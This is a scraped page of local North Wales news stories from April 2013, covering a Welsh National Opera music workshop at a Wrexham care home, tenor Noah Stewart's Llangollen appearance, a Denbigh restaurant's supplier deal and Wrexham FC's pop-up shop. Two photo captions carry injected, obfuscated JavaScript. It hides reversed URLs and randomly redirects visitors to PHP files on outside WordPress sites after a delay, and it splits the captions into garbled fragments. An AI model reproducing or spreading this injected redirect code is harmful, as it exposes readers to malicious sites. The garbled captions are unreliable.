Category: News

Wonder Wagon transports musical

Welsh National Opera Wonder Wagon at Hillbury Care Home, Wrexham. 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if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}toria School, Wrexham. From left, Betty Coggins, Lucy Hilditch, 6, Thomas Eller$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}ton, 7 and Annice Thomas

The wonders of Wrexham and music have been  prescribed  to schoolchildren and residents of a care home by Dr Song.

Youngsters from the town’s Victoria CP School joined with residents of Pendine Park’s Hillbury House  care home for the performance by the musician – otherwise known as composer Stacey Blythe.

The bi-lingual hands-on event, in the home’s chapel, was part of Welsh National Opera’s Wonder Wagon  initiative, part of the WNO’s Singing Doctors project.

Pendine Park is a Gold Community champion for its  support of Welsh National Opera and its ground-breaking three year community project in Wrexham.

Photos of the residents and youngers, posing in picture frames, will go on display in the town later this year  as part of the project.

Stacey, who brought along her harp, accordion and a host of instruments for the residents to play, said: “These sessions are some of the most special workshops that I have been involved in. I am constantly surprised by the reaction for the residents – the power of music to move them is so beautiful.

“I find there is a special interaction between the residents at the sessions – people are very surprising with the music they can create together,” added Stacey.

The youngsters, aged six and seven from the school’s Year Two, spent time with the WNO’s  Singing Doctors Project Manager Ruth Evans to try out different instruments, dress up, wear masks and to talk about the Wonders of Wrexham, before posing for photos.

Then they joined the elderly residents to create a musical work  together, under the guidance of Dr Song, playing instruments such as drums, tambourines and even triangles. And two Victoria  CP school pupils  Millie and Vilas, both celebrating turning  seven, were serenaded by the residents with a performance of Happy Birthday.

Annice Thomas, 80, said she loved taking part in the event. “Music is essential to the people of Wales,” she said. “I used to do recitation when I was younger and I’ve really enjoyed taking part in this. I was able to try Stacey’s harp, and I’ve never done anything like that before.

And for self-styled Queen of the Triangle Selina Jenks, 83, it was a trip back to her younger days, when she took part in amateur pantos, sang  and tap-danced, in shows in Wrexham.

She said: “This is good fun, these sessions are so enjoyable, you can’t beat making music together – and it is lovely to see the children here as well.”

Sarah Edwards, Pendine Park’s artist in residence, said:” These workshops are very fulfilling for those who live at the home, and enriching for their lives. We know making music is very popular with the residents.

“Both the residents and the children had their photos taken within the picture frames, and they were asked to suggest their own wonders of Wrexham. One resident said St Giles (which is one of the seven Wonders of Wales) while another said she was the  Wonder of Wrexham herself!”

Monday April 8th, 2013

News

Top tenor Noah follows in Pavarotti’s footsteps at Llangollen Eisteddfod

DECCA_NOAH STEWART_0283official  web 1

The first black musician to top the British classical music charts is following in the footsteps of one of his all-time heroes.

Top tenor Noah Stewart will be performing at the Llangollen International Music Eisteddfod where opera superstar Luciano Pavarotti launched himself on the world stage.

Noah, who was born to a single mum in Harlem, New York, arrived  on British shores a little over two years ago after been signed up to play the role of Lt B F Pinkerton in Puccini’s Madame Butterfly for Northern Opera.

Noah was fascinated to learn of Pavarotti’s love affair with the international festival of music and dance in the picturesque town of Llangollen.

When the chance came emulate the famous Italian tenor, he was determined to seize the opportunity with both hands.

He said: “I learnt that Pavarotti actually competed at Llangollen. My career has followed a similar path in many ways as, like Pavarotti, I too entered and won, a singing competition, although I was only 12.

“But it was how I started in music. It gave me the first clue that I might have a career doing what I love most, singing. There have been tough and difficult times getting to where I am today but in truth I suppose I haven’t done too badly for a black kid from Harlem.”

Noah is devoted to his single mother, Patricia, who fought hard to put food on the table and raise him and his sister, Belinda, the right way.

He said: “New York is the greatest city in the world as far as I am concerned and Harlem is such a special neighbourhood. I know Harlem has a reputation, undeserved, but there all the same, as being a tough desperately poor place where black people lived.

“But what people don’t realise is that Harlem has changed so much. In fact there are now more white people than blacks living in Harlem. It’s actually become quite a fashionable area in which to settle.

“But going back a few years Harlem was the centre of a kind of renaissance with many influential black musicians, writers and artists arriving from across America and Europe.”

Noah is fiercely protective of Harlem and its residents and says, growing up the area was, if anything, simply overflowing with love.

He said: “Don’t believe the hype that the district was nothing more than a crime-ridden ghetto. That just isn’t true; sure there are rough areas but you get rough areas anywhere.

“We never had a great deal of money but mum used to say being poor had nothing to do with how much money you did or didn’t have because you could be rich in love and knowledge.”

Noah was drawn to classical music as a child despite the fact that, being from New Orleans, his mum often played jazz, gospel and creole around the Stewart home.

He said: “I just found classical music different, it had a sort of richness to it and I always wanted to hear more. Sure, I played basketball, soccer and all the other stuff but mum didn’t want me out hanging around the streets at night so I listened to music instead.

“I really believe young people can lead better lives if they are exposed to the arts whether its poetry, literature, music, painting or some other form.

“The first time I actually listened to an opera, that was it, I was hooked. I just wanted to sing like that. Of course it was far more fashionable to aspire to be a pop singer but I knew that wasn’t for me. Others were better at that sort of music than me.

“I wanted to sing in Latin, Italian, French and German and I wanted to work on my voice, to set it free. In a way opera is like some sports such as archery or tennis, it’s about perfection and about being precise and accurate.

“Of course there were not many opera singers from Harlem and in a strange way that drew me to the art form, despite people telling me if I wanted to become rich then opera wasn’t the way forward. And they were right about that!

“But opera meant I could use the full range of my voice allowing me to explore and use its full colour. After I won the singing competition I enrolled in LaGuardia High School of Performing Arts and I used to watch recordings every day before classes started.

“During that time I sang back-up vocals for various pop acts such as Hootie and the Blowfish and Mariah Carey, all good experience.”

Winning a scholarship to the Big Apple’s prestigious Juilliard School of Music was the next piece in Noah’s operatic jigsaw.

After graduating he took a year or so out taking odd jobs and even working as a receptionist at Carnegie Hall before winning a place on the Adler Programme at San Francisco Opera.

It was in California that he got his big break, singing the role of Macduff in Verdi’s Macbeth to rave reviews despite taking to the stage with just 15 minutes’ notice.

Since then Noah admits life has been something of a whirlwind as he’s travelled the world starring in operas and performing to ever growing audiences.

And, last year, his début album, Noah, topped the British Classical Music Charts.

He said: “My biggest fan is my own mum. She retired not so long ago after 44 years working at the food store check-out. She gave up so much to help me along the musical path I’m on.

“I owe my career to her and everyone who has helped and inspired me, such as Luciano Pavarotti. And when I appear at Llangollen International Music Eistedffod I’ll be following in his footsteps and that really excites me.”

Noah will be performing in concert on Wednesday, July 10, with former Royal harpist Claire Jones and percussionist Evelyn Glennie.

Among the other stars at the International Eisteddfod this year, are Jools Holland’s Rhythm and Blues Orchestra, English soprano Claire Rutter, Kiwi bass Jonathan Lemalu and the choir Only Men Aloud who shot to fame on the hit TV show, Last Choir Standing.

To book tickets and for more details on this year’s event go to the website at www.international-eisteddfod.co.uk and on Facebook at www.facebook.com/llangollen

Thursday April 4th, 2013

News

Chef-to-the stars, Joe Lynch, beefs up the menu with new deal in Denbigh

Joe Lynch and Leigh O'Brien, right of Con Amici in Denbigh with Terry Davies, left from Williams of Flint Butchers.

A top chef who’s cooked for superstar footballers like David Beckham, Cristiano Ronaldo and Wayne Rooney has formed a “dream team” of his own.

Joe Lynch, from the Con Amici Italian Kitchen and Bar, in Denbigh, has teamed up with award-winning butcher, Williams of Flint, whose other clients include Michelin star eateries.

Business is booming at the restaurant Joe set up nearly two years ago with his business partner Leigh O’Brien, who is the front of house specialist.

Williams of Flint have around a bit longer – the Bagillt-based company is celebrating its 80th anniversary this year.

Con Amici has always specialised in using local produce whenever possible.

They’re now beefing up the menu with a new grill section after taking on Williams of Flint as their approved supplier.

Joe, originally from Llandudno Junction, inherited his passion for cooking and Italian food from his Sicilian mother and he honed his skills at some of the North West’s most popular restaurants.

They included Piccolinos and Est Est Est in Chester and Alderley Edge where David and Victoria Beckham used to dine along with the likes of Cristiano Ronaldo, Rio Ferdinand  and Wayne Rooney.

Other regulars included Coronation Street  favourites Simon Gregson (Steve McDonald) and Samia Ghadie (Maria Connor) who’s also been starring in Dancing on Ice.

It was during this period that Joe worked with and became friends with Leigh, who comes from Liverpool.

Their shared passion for good food has developed into a into a highly successful business partnership at Con Amici.

Joe said: “It was always my dream to come back to North Wales and open an Italian restaurant here.  My heritage is Welsh/Italian.

“We believe wholeheartedly in using as much local produce as we possibly can. I don’t see the point of buying cheap ingredients because you get a cheap end product then. That’s our philosophy.

“I think if you look after the product and deliver the product then the rest of the side of the business will take care of itself.

“We have now launched the new menu hence the tie up with Williams of Flint. They are providing us with some absolutely brilliant meat, including steaks to die for.

“The idea of the grill is to showcase all the local meat that we do buy from a local supplier.  We want people to know that we’re Italian but we’re also very much a Welsh restaurant using Welsh produce.

“You can come in and it’s not just about a bowl of pasta and a pizza.  You can have a fantastic steak from the Conwy Valley or the Vale of Clwyd.

“We want people to know that and to appreciate that we’re trying our best to buy local. If Elwy lamb is good enough for Barrack Obama it’s good enough for us.

“We want to support local businesses and the farmers.  All our dairy is local as well, all sourced from North Wales.  We try our best to support local business because at the end of the day we rely on local people to support us.  All these things go hand in hand.”

It was a message echoed by Leigh who added: “Con Amici means ‘with friends’ and that is very much the feeling that you get here. Our customers have become our friends and we feel as if we’ve been adopted by them.

“Whereas other restaurants can be quite rigid, we like to be  quite informal and relaxed.

“We’ve still got the rustic handmade pizza and pasta section within the menu which we’ll always have – and we’ve introduced different kinds of pasta like Bucatini, that’s thick spaghetti-like pasta with a hole running through the centre.

“The menu also includes fresh tortelloni and fresh lobster ravioli along with a host of other pastas you can’t find in other restaurants.

“We’re very, very lucky because the quality of local produce is so fantastic. The quality of the meat and the talent of the chefs working alongside Joe – Andy, Shaun and Josh -  do the meat the justice that it deserves.”

Terry Davies, the Sales Manager of Williams of Flint, who employ more than 40 people, was delighted they had started supplying Con Amici.

He said: “The 80th anniversary is a major milestone in the history of the company and our relationship with Con Amici is the perfect way of celebrating our birthday.

“We supply a whole host of top class restaurants including Simon Radley’s Michelin starred restaurant at the five star Grosvenor Hotel in Chester as well as Manchester City Football Club.”

“We try to source most of our meat locally and our  owner goes to market to see what’s available.

“Our reputation has grown.  The demand for traceability and good quality local meat is there for all to see these days.

“We’re very, very pleased to be supplying Con Amici.  It’s a fantastic restaurant with lots of good reviews.  Our new partnership is the perfect fit.”

Wednesday April 3rd, 2013

News

Wrexham FC shop gets extra week to trade after epic FA Trophy victory

WFC TROPHY DISPLAY AT EAGLES MEADOW. Pictured is Chris purviss, Anita Robinson, Mike Griffiths, Ian Bee$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}ton and Steven Clare.

A temporary shop which has made Wrexham Football Club almost £60,000 during its storming FA Trophy run is set to stay open for an extra week.

And the club took quick advantage of the extension on Saturday by putting the gleaming trophy itself on display at the shop at the Eagles Meadow shopping centre  so fans could have their picture taken beside it.

In the past few weeks since the club hit the glory trail to Wembley the store has been doing a roaring trade in official club merchandise, including shirts, tee-shirts, hats and the big foam hands which helped make for some memorable scenes as jubilant fans waved them at the  final against Grimsby Town.

Eagles Meadow bosses had originally arranged for the club to use it until Easter weekend.

But it has continued to do so well in the aftermath  of the historic trophy victory  – the first time a Welsh club has had its name on the coveted piece of silverware – that they have now agreed to allow it to stay in business until Friday, April 5.

Steve Cook, commercial manager of Wrexham FC which is now being successfully run by its supporters, said: “We estimate that having the shop in Eagles Meadow has enabled to sell merchandise worth between £50,000 and £60,000, which is fantastic.

“The idea of opening and manning it with volunteers from the club was to get our presence out into the community and we have certainl achieved that.

“Our merchandise is still selling strongly following our FA Trophy win, so to be allowed to keep the shop open for a little longer than originally planned is just brilliant and we are very grateful to Eagles Meadow management for letting us do it.

“I think having our shop in the centre has been beneficial all round. It has helped the club make some very useful revenue and I think it has also attracted some valuable extra footfall to Eagles Meadow.

“The success we have had with the shop has certainly given us food for thought and I hope that in the future we will be able to look at similar ventures at Eagles Meadow, with the centre perhaps being used for things such as the launch of new club shirts.”

He added: “On Saturday we made special arrangements with the FA to have the trophy we won on show at the shop for a couple of hours to give our loyal fans the chance to have their pictures taken with it in the background.

“The trophy will also be on display in the shop on Tuesday from noon until 2pm and again on Wednesday between 11am and 1pm.”

Wrexham FC secretary Geraint Parry said: “There is tremendous interest in the club after the great result we had down at Wembley and having the shop open at Eagles Meadow has been adding to that.

“All kinds of merchandise – virtually everything we have been able to get our hands on – has been flying off the shelves and to have an extra week or selling is just great.

“I think that what we have been able to do at the shop has reflected well on the club, on the town and on the shopping centre.”

Wrexham FC beat Grimsby Town 4-1 on penalties after the match ended as a 1-1 draw at full-time.

Eagles Meadow Manager Kevin Critchley was delighted the club shop had done so well.

He said: “Wrexham FC have done the whole town proud – their success has given townspeople an extra spring in their step.

“All we need is a final push for promotion and we’ll all be in seventh heaven.”

Wednesday April 3rd, 2013

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